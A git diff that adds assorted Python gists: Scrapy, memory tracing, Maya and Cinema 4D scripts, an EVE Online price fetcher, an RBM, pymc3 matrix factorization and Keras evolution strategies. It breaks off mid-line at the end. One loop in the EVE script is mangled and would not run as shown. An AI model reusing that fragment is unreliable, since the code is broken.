b/hard-gists/._fe8e267149862eb67127f4fff7e017be new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._fe8e267149862eb67127f4fff7e017be differ diff --git a/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e b/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._feb86d4bdd9a658c122a706f26ba7e1e differ diff --git a/hard-gists/._ff122e8563793bb28f79 b/hard-gists/._ff122e8563793bb28f79 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ff122e8563793bb28f79 differ diff --git a/hard-gists/._ff2f97d91c9bed820c15 b/hard-gists/._ff2f97d91c9bed820c15 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ff2f97d91c9bed820c15 differ diff --git a/hard-gists/._ffb1b5f12d7ad787f6e4 b/hard-gists/._ffb1b5f12d7ad787f6e4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ffb1b5f12d7ad787f6e4 differ diff --git a/hard-gists/._ffd436e0a7897c9e872d b/hard-gists/._ffd436e0a7897c9e872d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ffd436e0a7897c9e872d differ diff --git a/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/._snippet.py differ diff --git a/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py new file mode 100644 index 00000000..78128eb6 --- /dev/null +++ b/hard-gists/00056d4304c58a035c87cdf5ff1e5e3e/snippet.py @@ -0,0 +1,33 @@ +import copy +from scrapy import Item + +class ModelItem(Item): + """ + Make Peewee models easily turn into Scrapy Items. + + >>> from models import Player + >>> item = ModelItem(Player()) + """ + + def __init__(self, model, **kwds): + super(self.__class__, self).__init__() + self._model = model + for key in model._meta.fields.keys(): + self.fields[key] = Field() + if kwds is not None: + for key, processor in kwds.iteritems(): + self.fields[key] = Field(input_processor=MapCompose( + strip_whitespace, processor + )) + + def __setitem__(self, key, value): + if key not in self.fields: + self.fields[key] = Field() + self._values[key] = value + + def copy(self): + return copy.deepcopy(self) + + @property + def model(self): + return self._model \ No newline at end of file diff --git a/hard-gists/000eccf3d66540d75def/._snippet.py b/hard-gists/000eccf3d66540d75def/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/000eccf3d66540d75def/._snippet.py differ diff --git a/hard-gists/000eccf3d66540d75def/snippet.py b/hard-gists/000eccf3d66540d75def/snippet.py new file mode 100644 index 00000000..a20f078a --- /dev/null +++ b/hard-gists/000eccf3d66540d75def/snippet.py @@ -0,0 +1,31 @@ +import array +import tracemalloc +from contextlib import contextmanager + +@contextmanager +def tracemem(msg): + tracemalloc.start() + snapshot1 = tracemalloc.take_snapshot() + yield + snapshot2 = tracemalloc.take_snapshot() + print(snapshot2.compare_to(snapshot1, 'lineno')[0]) + + +def main(): + with tracemem('array'): + a = array.array('Q', range(10000000)) + del a + + with tracemem('list'): + l = list(range(10000000)) + del l + + +if __name__ == "__main__": + ''' + Om my machine: + python3 -X tracemalloc test_allocations.py + test_allocations.py:16: size=78.1 MiB (+78.1 MiB), count=3 (+3), average=26.0 MiB + test_allocations.py:20: size=353 MiB (+353 MiB), count=9999745 (+9999745), average=37 B + ''' + main() \ No newline at end of file diff --git a/hard-gists/00135b0dfee0ae165ad2/._snippet.py b/hard-gists/00135b0dfee0ae165ad2/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/00135b0dfee0ae165ad2/._snippet.py differ diff --git a/hard-gists/00135b0dfee0ae165ad2/snippet.py b/hard-gists/00135b0dfee0ae165ad2/snippet.py new file mode 100644 index 00000000..bd7217fa --- /dev/null +++ b/hard-gists/00135b0dfee0ae165ad2/snippet.py @@ -0,0 +1,30 @@ +from PyQt4 import QtGui, QtCore +import maya.OpenMayaUI as mui +import sip + +DOCK_OBJECT = "dock_name" +DEFAULT_DOCK = QtCore.Qt.RightDockWidgetArea + +# Get Main Window +pointer = mui.MQtUtil.mainWindow() +maya_main_window = sip.wrapinstance(long(pointer), QtCore.QObject) + +# Check for existing dock +existing_dock = maya_main_window.findChild(QtGui.QDockWidget, DOCK_OBJECT) +if existing_dock: + existing_dock.deleteLater() + +# Create Your New DockWidget Instance here +dock_instance = MyDockInstance() + +# Add to Dock +# If Existing DockWdiget found on default DockArea then Dock is Tabified otherwise added as first DockWidget +docked = False +for dock_widget in maya_main_window.findChildren(QtGui.QDockWidget): + if maya_main_window.dockWidgetArea(dock_widget) == DEFAULT_DOCK: + maya_main_window.tabifyDockWidget(dock_widget, dock_instance) + docked = True + break + +if not docked: + maya_main_window.addDockWidget(DEFAULT_DOCK, dock_instance) \ No newline at end of file diff --git a/hard-gists/005bbad123ef309a5bef/._snippet.py b/hard-gists/005bbad123ef309a5bef/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/005bbad123ef309a5bef/._snippet.py differ diff --git a/hard-gists/005bbad123ef309a5bef/snippet.py b/hard-gists/005bbad123ef309a5bef/snippet.py new file mode 100644 index 00000000..8a5cd97f --- /dev/null +++ b/hard-gists/005bbad123ef309a5bef/snippet.py @@ -0,0 +1,115 @@ +from sqlalchemy import create_engine +import redis +import time +import requests +import datetime +import memcache + + +def RateLimited(maxPerSecond): + minInterval = 1.0 / float(maxPerSecond) + def decorate(func): + lastTimeCalled = [0.0] + def rateLimitedFunction(*args,**kargs): + elapsed = time.clock() - lastTimeCalled[0] + leftToWait = minInterval - elapsed + if leftToWait>0: + time.sleep(leftToWait) + ret = func(*args,**kargs) + lastTimeCalled[0] = time.clock() + return ret + return rateLimitedFunction + return decorate + + + + +@RateLimited(20) +def getData(redisConnection,requestsConnection,memcacheConnection,typeid): + url="https://public-crest.eveonline.com/market/10000002/orders/sell/?type=https://public-crest.eveonline.com/types/"+str(typeid)+"/" + + while True: + exceptionCounter=0 + try: + selldata=requestsConnection.get(url) + except: + print str(typeid)+" exception :"+str(exceptionCounter) + exceptionCounter+=1 + time.sleep(exceptionCounter) + continue + if selldata.status_code == 200: + break + # wait to retry + print typeid+" is failing with "+selldata.status_code + time.sleep(1) + + data=selldata.json() + count=data['totalCount'] + numberOfSellItems=0 + sellPrice=dict() + for order in data['items']: + sellPrice[order['price']]=sellPrice.get(order['price'],0)+order['volume'] + numberOfSellItems+=order['volume'] + + # generate statistics + if numberOfSellItems: + prices=sorted(sellPrice.keys()) + fivePercent=max(numberOfSellItems/20,1) + bought=0 + boughtPrice=0 + while bought bought+sellPrice[fivePercentPrice]: + boughtPrice+=sellPrice[fivePercentPrice]*fivePercentPrice; + bought+=sellPrice[fivePercentPrice] + else: + diff=fivePercent-bought + boughtPrice+=fivePercentPrice*diff + bought=fivePercent + averageSellPrice=boughtPrice/bought + now=datetime.datetime.utcnow() + timezone="+00:00" + timestring=now.strftime("%Y-%m-%dT%H:%M:%S")+timezone + value="{:0.2f}|{}|{}|{}".format(averageSellPrice,numberOfSellItems,fivePercent,timestring) + redisConnection.set("forgesell-"+str(typeid), value) + memcacheConnection.set("forgesell-"+str(typeid), value) + print typeid + + + + + + + +if __name__ == "__main__": + engine = create_engine('mysql://eve:eve@localhost:3306/eve', echo=False) + result = engine.execute("select typeid from invTypes join invGroups on invTypes.groupid=invGroups.groupid where marketgroupid is not null and categoryid != 350001 and invTypes.published=1 order by typeid asc") + # build the basic list + baseitemids=[] + for row in result: + baseitemids.append(row[0]) + # Two redis connections. r for pushing in, sub for the pubsub. + rC = redis.StrictRedis(host='localhost', port=6379, db=0) + sub = redis.StrictRedis(host='localhost', port=6379, db=0) + feed = sub.pubsub(ignore_subscribe_messages=True) + feed.subscribe("forge-sell") + session = requests.Session() + session.headers.update({'UserAgent':'Fuzzwork Price Getter'}); + mC=memcache.Client(["127.0.0.1:11211"]) + itemids=list(baseitemids) + sleeptimer=0 + while True: + # check for override + message = feed.get_message() + if message: + typeid=message['data'] + else: + if len(itemids): + typeid=itemids.pop(0) + else: + time.sleep(1) + sleeptimer+=1 + if sleeptimer==3600: + itemids=list(baseitemsids) + continue + getData(rC,session,mC,typeid) diff --git a/hard-gists/005ceac0483fc5a581cc/._snippet.py b/hard-gists/005ceac0483fc5a581cc/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/005ceac0483fc5a581cc/._snippet.py differ diff --git a/hard-gists/005ceac0483fc5a581cc/snippet.py b/hard-gists/005ceac0483fc5a581cc/snippet.py new file mode 100644 index 00000000..e8fe3304 --- /dev/null +++ b/hard-gists/005ceac0483fc5a581cc/snippet.py @@ -0,0 +1,79 @@ +import tensorflow as tf +import numpy as np +import input_data +import Image +from util import tile_raster_images + + +def sample_prob(probs): + return tf.nn.relu( + tf.sign( + probs - tf.random_uniform(tf.shape(probs)))) + +alpha = 1.0 +batchsize = 100 + +mnist = input_data.read_data_sets("MNIST_data/", one_hot=True) +trX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images,\ + mnist.test.labels + +X = tf.placeholder("float", [None, 784]) +Y = tf.placeholder("float", [None, 10]) + +rbm_w = tf.placeholder("float", [784, 500]) +rbm_vb = tf.placeholder("float", [784]) +rbm_hb = tf.placeholder("float", [500]) +h0 = sample_prob(tf.nn.sigmoid(tf.matmul(X, rbm_w) + rbm_hb)) +v1 = sample_prob(tf.nn.sigmoid( + tf.matmul(h0, tf.transpose(rbm_w)) + rbm_vb)) +h1 = tf.nn.sigmoid(tf.matmul(v1, rbm_w) + rbm_hb) +w_positive_grad = tf.matmul(tf.transpose(X), h0) +w_negative_grad = tf.matmul(tf.transpose(v1), h1) +update_w = rbm_w + alpha * \ + (w_positive_grad - w_negative_grad) / tf.to_float(tf.shape(X)[0]) +update_vb = rbm_vb + alpha * tf.reduce_mean(X - v1, 0) +update_hb = rbm_hb + alpha * tf.reduce_mean(h0 - h1, 0) + +h_sample = sample_prob(tf.nn.sigmoid(tf.matmul(X, rbm_w) + rbm_hb)) +v_sample = sample_prob(tf.nn.sigmoid( + tf.matmul(h_sample, tf.transpose(rbm_w)) + rbm_vb)) +err = X - v_sample +err_sum = tf.reduce_mean(err * err) + +sess = tf.Session() +init = tf.initialize_all_variables() +sess.run(init) + +n_w = np.zeros([784, 500], np.float32) +n_vb = np.zeros([784], np.float32) +n_hb = np.zeros([500], np.float32) +o_w = np.zeros([784, 500], np.float32) +o_vb = np.zeros([784], np.float32) +o_hb = np.zeros([500], np.float32) +print sess.run( + err_sum, feed_dict={X: trX, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb}) + +for start, end in zip( + range(0, len(trX), batchsize), range(batchsize, len(trX), batchsize)): + batch = trX[start:end] + n_w = sess.run(update_w, feed_dict={ + X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb}) + n_vb = sess.run(update_vb, feed_dict={ + X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb}) + n_hb = sess.run(update_hb, feed_dict={ + X: batch, rbm_w: o_w, rbm_vb: o_vb, rbm_hb: o_hb}) + o_w = n_w + o_vb = n_vb + o_hb = n_hb + if start % 10000 == 0: + print sess.run( + err_sum, feed_dict={X: trX, rbm_w: n_w, rbm_vb: n_vb, rbm_hb: n_hb}) + image = Image.fromarray( + tile_raster_images( + X=n_w.T, + img_shape=(28, 28), + tile_shape=(25, 20), + tile_spacing=(1, 1) + ) + ) + image.save("rbm_%d.png" % (start / 10000)) \ No newline at end of file diff --git a/hard-gists/00a17b1d374dfc267a9a/._snippet.py b/hard-gists/00a17b1d374dfc267a9a/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/00a17b1d374dfc267a9a/._snippet.py differ diff --git a/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8 b/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8 new file mode 100644 index 00000000..ae57ff9a --- /dev/null +++ b/hard-gists/00a17b1d374dfc267a9a/Dockerfile-llm-3.8 @@ -0,0 +1,12 @@ +# FROM is the found expected Python version +FROM python:3.8 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pymc3==1.0.0"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","theano==1.0.0"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt new file mode 100644 index 00000000..501dbbfb --- /dev/null +++ b/hard-gists/00a17b1d374dfc267a9a/modules/pymc3_3.8.txt @@ -0,0 +1 @@ +3.0, 3.0.rc1, 3.0rc2, 3.0rc4, 3.0rc5, 3.0rc6, 3.1, 3.1rc1, 3.1rc2, 3.1rc3, 3.2, 3.2rc1, 3.3, 3.7, 3.8, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.10.0, 3.11.0, 3.11.1, 3.11.2, 3.11.3, 3.11.4, 3.11.5, 3.11.6 \ No newline at end of file diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/scipy_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/scipy_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/theano_2.7.txt b/hard-gists/00a17b1d374dfc267a9a/modules/theano_2.7.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt b/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt new file mode 100644 index 00000000..8a3afafb --- /dev/null +++ b/hard-gists/00a17b1d374dfc267a9a/modules/theano_3.8.txt @@ -0,0 +1 @@ +0.3.0, 0.3.0rc4, 0.3.1, 0.3.1rc1, 0.3.1rc2, 0.4.0, 0.4.0rc1, 0.4.0rc2, 0.4.0rc3, 0.4.0rc4, 0.4.1, 0.4.1rc1, 0.4.1rc2, 0.5.0, 0.5.0rc1, 0.5.0rc2, 0.6.0, 0.10.0b1, 0.10.0b2, 0.10.0beta3, 0.10.0beta4, 1.0.5 \ No newline at end of file diff --git a/hard-gists/00a17b1d374dfc267a9a/snippet.py b/hard-gists/00a17b1d374dfc267a9a/snippet.py new file mode 100644 index 00000000..84e43716 --- /dev/null +++ b/hard-gists/00a17b1d374dfc267a9a/snippet.py @@ -0,0 +1,271 @@ +""" +Implementations of: + + Probabilistic Matrix Factorization (PMF) [1], + Bayesian PMF (BPMF) [2], + Modified BPFM (mBPMF) + +using `pymc3`. mBPMF is, to my knowledge, my own creation. It is an attempt +to circumvent the limitations of `pymc3` w/regards to the Wishart distribution: + + https://github.com/pymc-devs/pymc3/commit/642f63973ec9f807fb6e55a0fc4b31bdfa1f261e + +[1] http://papers.nips.cc/paper/3208-probabilistic-matrix-factorization.pdf +[2] https://www.cs.toronto.edu/~amnih/papers/bpmf.pdf + +""" +import sys +import time +import logging + +import pymc3 as pm +import numpy as np +import pandas as pd +import theano +import theano.tensor as t +import scipy as sp + + +DATA_NOT_FOUND = -1 + + +# data from: https://gist.github.com/macks22/b40ac9c685e920ad3ca2 +def read_jester_data(fname='jester-dense-subset-100x20.csv'): + """Read dense Jester dataset and split train/test data randomly. + We use a 0.9:0.1 Train:Test split. + """ + logging.info('reading data') + try: + data = pd.read_csv(fname) + except IOError as err: + print str(err) + url = 'https://gist.github.com/macks22/b40ac9c685e920ad3ca2' + print 'download from: %s' % url + sys.exit(DATA_NOT_FOUND) + + # Calculate split sizes. + logging.info('splitting train/test sets') + n, m = data.shape # # users, # jokes + N = n * m # # cells in matrix + test_size = N / 10 # use 10% of data as test set + train_size = N - test_size # and remainder for training + + # Prepare train/test ndarrays. + train = data.copy().values + test = np.ones(data.shape) * np.nan + + # Draw random sample of training data to use for testing. + tosample = np.where(~np.isnan(train)) # only sample non-missing values + idx_pairs = zip(tosample[0], tosample[1]) # zip row/col indices + indices = np.arange(len(idx_pairs)) # indices of row/col index pairs + sample = np.random.choice(indices, replace=False, size=test_size) # draw sample + + # Transfer random sample from train set to test set. + for idx in sample: + idx_pair = idx_pairs[idx] # retrieve sampled index pair + test[idx_pair] = train[idx_pair] # transfer to test set + train[idx_pair] = np.nan # remove from train set + + # Verify everything worked properly + assert(np.isnan(train).sum() == test_size) + assert(np.isnan(test).sum() == train_size) + + # Return the two numpy ndarrays + return train, test + + +def build_pmf_model(train, alpha=2, dim=10, std=0.01): + """Construct the Probabilistic Matrix Factorization model using pymc3. + Note that the `testval` param for U and V initialize the model away from + 0 using a small amount of Gaussian noise. + + :param np.ndarray train: Training data (observed) to learn the model on. + :param int alpha: Fixed precision to use for the rating likelihood function. + :param int dim: Dimensionality of the model; rank of low-rank approximation. + :param float std: Standard deviation for Gaussian noise in model initialization. + """ + # Mean value imputation on training data. + train = train.copy() + nan_mask = np.isnan(train) + train[nan_mask] = train[~nan_mask].mean() + + # Low precision reflects uncertainty; prevents overfitting. + # We use point estimates from the data to intialize. + # Set to mean variance across users and items. + alpha_u = 1 / train.var(axis=1).mean() + alpha_v = 1 / train.var(axis=0).mean() + + logging.info('building the PMF model') + n, m = train.shape + with pm.Model() as pmf: + U = pm.MvNormal( + 'U', mu=0, tau=alpha_u * np.eye(dim), + shape=(n, dim), testval=np.random.randn(n, dim) * std) + V = pm.MvNormal( + 'V', mu=0, tau=alpha_v * np.eye(dim), + shape=(m, dim), testval=np.random.randn(m, dim) * std) + R = pm.Normal( + 'R', mu=t.dot(U, V.T), tau=alpha * np.ones(train.shape), + observed=train) + + logging.info('done building PMF model') + return pmf + + +def build_bpmf_model(train, alpha=2, dim=10, std=0.01): + """Build the original BPMF model, which we cannot sample from due to + current limitations in pymc3's implementation of the Wishart distribution. + """ + n, m = train.shape + beta_0 = 1 # scaling factor for lambdas; unclear on its use + + # Mean value imputation on training data. + train = train.copy() + nan_mask = np.isnan(train) + train[nan_mask] = train[~nan_mask].mean() + + logging.info('building the BPMF model') + with pm.Model() as bpmf: + # Specify user feature matrix + lambda_u = pm.Wishart( + 'lambda_u', n=dim, V=np.eye(dim), shape=(dim, dim), + testval=np.random.randn(dim, dim) * std) + mu_u = pm.Normal( + 'mu_u', mu=0, tau=beta_0 * lambda_u, shape=dim, + testval=np.random.randn(dim) * std) + U = pm.MvNormal( + 'U', mu=mu_u, tau=lambda_u, shape=(n, dim), + testval=np.random.randn(n, dim) * std) + + # Specify item feature matrix + lambda_v = pm.Wishart( + 'lambda_v', n=dim, V=np.eye(dim), shape=(dim, dim), + testval=np.random.randn(dim, dim) * std) + mu_v = pm.Normal( + 'mu_v', mu=0, tau=beta_0 * lambda_v, shape=dim, + testval=np.random.randn(dim) * std) + V = pm.MvNormal( + 'V', mu=mu_v, tau=lambda_v, shape=(m, dim), + testval=np.random.randn(m, dim) * std) + + # Specify rating likelihood function + R = pm.Normal( + 'R', mu=t.dot(U, V.T), tau=alpha * np.ones((n, m)), + observed=train) + + logging.info('done building the BPMF model') + return bpmf + + +def build_mod_bpmf_model(train, alpha=2, dim=10, std=0.01): + """Build the modified BPMF model using pymc3. The original model uses + Wishart priors on the covariance matrices. Unfortunately, the Wishart + distribution in pymc3 is currently not suitable for sampling. This + version decomposes the covariance matrix into: + + diag(sigma) \dot corr_matrix \dot diag(std). + + We use uniform priors on the standard deviations (sigma) and LKJCorr + priors on the correlation matrices (corr_matrix): + + sigma ~ Uniform + corr_matrix ~ LKJCorr(n=1, p=dim) + + """ + n, m = train.shape + beta_0 = 1 # scaling factor for lambdas; unclear on its use + + # Mean value imputation on training data. + train = train.copy() + nan_mask = np.isnan(train) + train[nan_mask] = train[~nan_mask].mean() + + # We will use separate priors for sigma and correlation matrix. + # In order to convert the upper triangular correlation values to a + # complete correlation matrix, we need to construct an index matrix: + n_elem = dim * (dim - 1) / 2 + tri_index = np.zeros([dim, dim], dtype=int) + tri_index[np.triu_indices(dim, k=1)] = np.arange(n_elem) + tri_index[np.triu_indices(dim, k=1)[::-1]] = np.arange(n_elem) + + logging.info('building the BPMF model') + with pm.Model() as bpmf: + # Specify user feature matrix + sigma_u = pm.Uniform('sigma_u', shape=dim) + corr_triangle_u = pm.LKJCorr( + 'corr_u', n=1, p=dim, + testval=np.random.randn(n_elem) * std) + + corr_matrix_u = corr_triangle_u[tri_index] + corr_matrix_u = t.fill_diagonal(corr_matrix_u, 1) + cov_matrix_u = t.diag(sigma_u).dot(corr_matrix_u.dot(t.diag(sigma_u))) + lambda_u = t.nlinalg.matrix_inverse(cov_matrix_u) + + mu_u = pm.Normal( + 'mu_u', mu=0, tau=beta_0 * t.diag(lambda_u), shape=dim, + testval=np.random.randn(dim) * std) + U = pm.MvNormal( + 'U', mu=mu_u, tau=lambda_u, shape=(n, dim), + testval=np.random.randn(n, dim) * std) + + # Specify item feature matrix + sigma_v = pm.Uniform('sigma_v', shape=dim) + corr_triangle_v = pm.LKJCorr( + 'corr_v', n=1, p=dim, + testval=np.random.randn(n_elem) * std) + + corr_matrix_v = corr_triangle_v[tri_index] + corr_matrix_v = t.fill_diagonal(corr_matrix_v, 1) + cov_matrix_v = t.diag(sigma_v).dot(corr_matrix_v.dot(t.diag(sigma_v))) + lambda_v = t.nlinalg.matrix_inverse(cov_matrix_v) + + mu_v = pm.Normal( + 'mu_v', mu=0, tau=beta_0 * t.diag(lambda_v), shape=dim, + testval=np.random.randn(dim) * std) + V = pm.MvNormal( + 'V', mu=mu_v, tau=lambda_v, shape=(m, dim), + testval=np.random.randn(m, dim) * std) + + # Specify rating likelihood function + R = pm.Normal( + 'R', mu=t.dot(U, V.T), tau=alpha * np.ones((n, m)), + observed=train) + + logging.info('done building the BPMF model') + return bpmf + + +if __name__ == "__main__": + logging.basicConfig( + level=logging.INFO, + format='[%(asctime)s]: %(message)s') + + # Read data and build PMF model. + train, test = read_jester_data() + pmf = build_pmf_model(train) + + # Find mode of posterior using optimization + with pmf: + tstart = time.time() + logging.info('finding PMF MAP using Powell optimization') + start = pm.find_MAP(fmin=sp.optimize.fmin_powell) + elapsed = time.time() - tstart + logging.info('found PMF MAP in %d seconds' % int(elapsed)) + + # Build the modified BPMF model using same default params as PMF. + mod_bpmf = build_mod_bpmf_model(train) + + # Use PMF MAP to initialize sampling for modified BPMF. + for key in mod_bpmf.test_point: + if key not in start: + start[key] = mod_bpmf.test_point[key] + + # Attempt to sample with modified BPMF + # (this part raises PositiveDefiniteError when using the normal BPMF model). + with mod_bpmf: + nsamples = 100 + njobs = 2 + logging.info( + 'drawing %d MCMC samples using %d jobs' % (nsamples, njobs)) + step = pm.NUTS(scaling=start) + trace = pm.sample(nsamples, step, start=start, njobs=njobs) \ No newline at end of file diff --git a/hard-gists/00a4835bf36513ca58a3/._snippet.py b/hard-gists/00a4835bf36513ca58a3/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/00a4835bf36513ca58a3/._snippet.py differ diff --git a/hard-gists/00a4835bf36513ca58a3/snippet.py b/hard-gists/00a4835bf36513ca58a3/snippet.py new file mode 100644 index 00000000..6052e397 --- /dev/null +++ b/hard-gists/00a4835bf36513ca58a3/snippet.py @@ -0,0 +1,31 @@ +import c4d +# Slightly modified version of Lennart's (tca studios) script from this thread: +# http://www.plugincafe.com/forum/forum_posts.asp?TID=6600&KW=&PID=27379#27379 + +def main(): + + if op is None: return False + + oldm = op.GetMg() + points = op.GetAllPoints() + pcount = op.GetPointCount() + + doc.StartUndo() + doc.AddUndo(c4d.UNDOTYPE_CHANGE, op) + + op.SetAbsPos(c4d.Vector(0,0,0)) #Comment out this to keep original position + op.SetAbsRot(c4d.Vector(0,0,0)) #Comment out this to keep original rotation + op.SetAbsScale(c4d.Vector(1,1,1)) #Comment out this to keep original scale + op.Message(c4d.MSG_UPDATE) + + newm = op.GetMg() + + for p in xrange(pcount): + op.SetPoint(p,~newm*oldm*points[p]) + + op.Message(c4d.MSG_UPDATE) + c4d.EventAdd() + doc.EndUndo() + +if __name__=='__main__': + main() \ No newline at end of file diff --git a/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py b/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py differ diff --git a/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py b/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py new file mode 100644 index 00000000..652bf5f9 --- /dev/null +++ b/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py @@ -0,0 +1,207 @@ + +#Evolution Strategies with Keras +#Based off of: https://blog.openai.com/evolution-strategies/ +#Implementation by: Nicholas Samoray + +#README +#Meant to be run on a single machine +#APPLY_BIAS is currently not working, keep to False +#Solves Cartpole as-is in about 50 episodes +#Solves BipedalWalker-v2 in about 1000 +#Network used for BipedalWalker-v2 +#-Input +#-128 hidden, activation tanh +#-128 hidden, activation tanh +#-Output + +import gym +from keras.layers import Dense, Flatten, Input, merge, Lambda, Activation +from keras.optimizers import Adam +from keras.models import Sequential, Model +import keras.backend as K +import tensorflow as tf +from collections import deque +import numpy as np +import random +import math +import threading +import sys + +LEARN_RATE = 0.03 +SIGMA = 0.1 +ACTION_SIZE = 2 +STATE_SIZE = 4 +#total number of episodes +NUM_EPS = 10000 +#number of workers +NUM_WORKERS = 64 +#number of times to run each worker on the same network +NUM_TESTS = 1 +#max time to run each env +EPS_LENGTH = 2000 +FRAME_COUNT = 0 +ENV = 'CartPole-v1' +APPLY_BIAS = False +scores = [] + +class network(): + def __init__(self): + self.model = self.createModel() + self.env = gym.make(ENV) + + def createModel(self): + #change activations based on environment + state_in = Input(shape=[STATE_SIZE]) + x = Dense(24, activation='relu')(state_in) + x = Dense(24, activation='relu')(x) + out = Dense(ACTION_SIZE, activation='softmax')(x) + + model = Model(input=state_in, output=out) + + return model + + #just runs the network on the environment + #collects reward and returns it + def run(self): + global FRAME_COUNT + total_reward = 0. + + for e in range(NUM_TESTS): + state = self.env.reset() + state = np.reshape(state, [1, STATE_SIZE]) + for t in range(EPS_LENGTH): + FRAME_COUNT += 1 + action = self.model.predict(state)[0] + + #comment this out if you're not doing CartPole or something + action = np.argmax(action) + + new_state, reward, done, _ = self.env.step(action) + total_reward += reward + if done: + break + state = new_state + state = np.reshape(state, [1, STATE_SIZE]) + + return total_reward/NUM_TESTS + +#progress bar methods +def startProgress(title): + global progress_x + sys.stdout.write(title + ": [" + "-"*40 + "]" + chr(8)*41) + sys.stdout.flush() + progress_x = 0 + +def progress(x): + global progress_x + x = int(x * 40 // 100) + sys.stdout.write("#" * (x - progress_x)) + sys.stdout.flush() + progress_x = x + +def endProgress(): + sys.stdout.write("#" * (40 - progress_x) + "]\n") + sys.stdout.flush() + +#create all the workers +networks = [network() for i in range(NUM_WORKERS)] +weight_list = [] + +#initialize random weights +curr_weights = [] +curr_bias = [] +#loop through each layer in the first network to get shapes +for l in range(1,len(networks[0].model.layers)): + #get shapes of weight and bias layers + bias_shape = np.array(networks[0].model.layers[l].get_weights()[1]).shape + shape = np.array(networks[0].model.layers[l].get_weights()[0]).shape + + #get the current weights of the first network as a baseline + #init biases to 0 is we're not adjusting them + N = networks[0].model.layers[l].get_weights()[0] + if APPLY_BIAS: + B = networks[0].model.layers[l].get_weights()[1] + else: + B = np.zeros(shape[1]) + + #add to containers + curr_weights.append(N) + curr_bias.append(B) + +#used to hold scores to keep running average +running = [] + +#run through the episodes +for eps in range(NUM_EPS): + print("Total Frames:", FRAME_COUNT) + + #zero out scores + scores = np.zeros(NUM_WORKERS) + + #make noise matrix and bias matrix + noise = [] + bias_noise = [] + print("Generating Noise ", eps) + for l in range(1,len(networks[0].model.layers)): + + #get shapes + #TODO: just do this once at the start + bias_shape = np.array(networks[0].model.layers[l].get_weights()[1]).shape + shape = np.array(networks[0].model.layers[l].get_weights()[0]).shape + + #create a noise matrix to multiply the base weights by + #uses polynomial distribution + N = np.random.randn(NUM_WORKERS, shape[0],shape[1])*SIGMA + B = np.random.randn(NUM_WORKERS, bias_shape[0])*SIGMA + + #add to containers + noise.append(N) + bias_noise.append(B) + + #run workers with their respective noise + base weights + startProgress("Workers") + for w in range(NUM_WORKERS): + + #apply noise to base weights + for l in range(1,len(networks[0].model.layers)): + new_weights = curr_weights[l-1] + noise[l-1][w] + + if APPLY_BIAS: + new_bias = curr_bias[l-1] + bias_noise[l-1][w] + else: + new_bias = curr_bias[l-1] + + #set the weights on the current worker + networks[w].model.layers[l].set_weights((new_weights, new_bias)) + #run it and store the score + scores[w] = networks[w].run() + #update progress bar + progress((float(w)/float(NUM_WORKERS))*100) + endProgress() + + #get standard deviation of each reward + #add a small amount to account for divide by 0 + std = ((scores - np.mean(scores)) / (np.std(scores) + 1e-5)) + + #bookkeeping + running.append(np.mean(scores)) + curr_score = networks[np.argmax(scores)].run() + if(curr_score > 250 and scores[np.argmax(scores)] > 250): + print("Saving") + networks[np.argmax(scores)].model.save('cartpole_nes.h5') + + print("Avg:", np.mean(scores), "High:", np.amax(scores), "Low:", 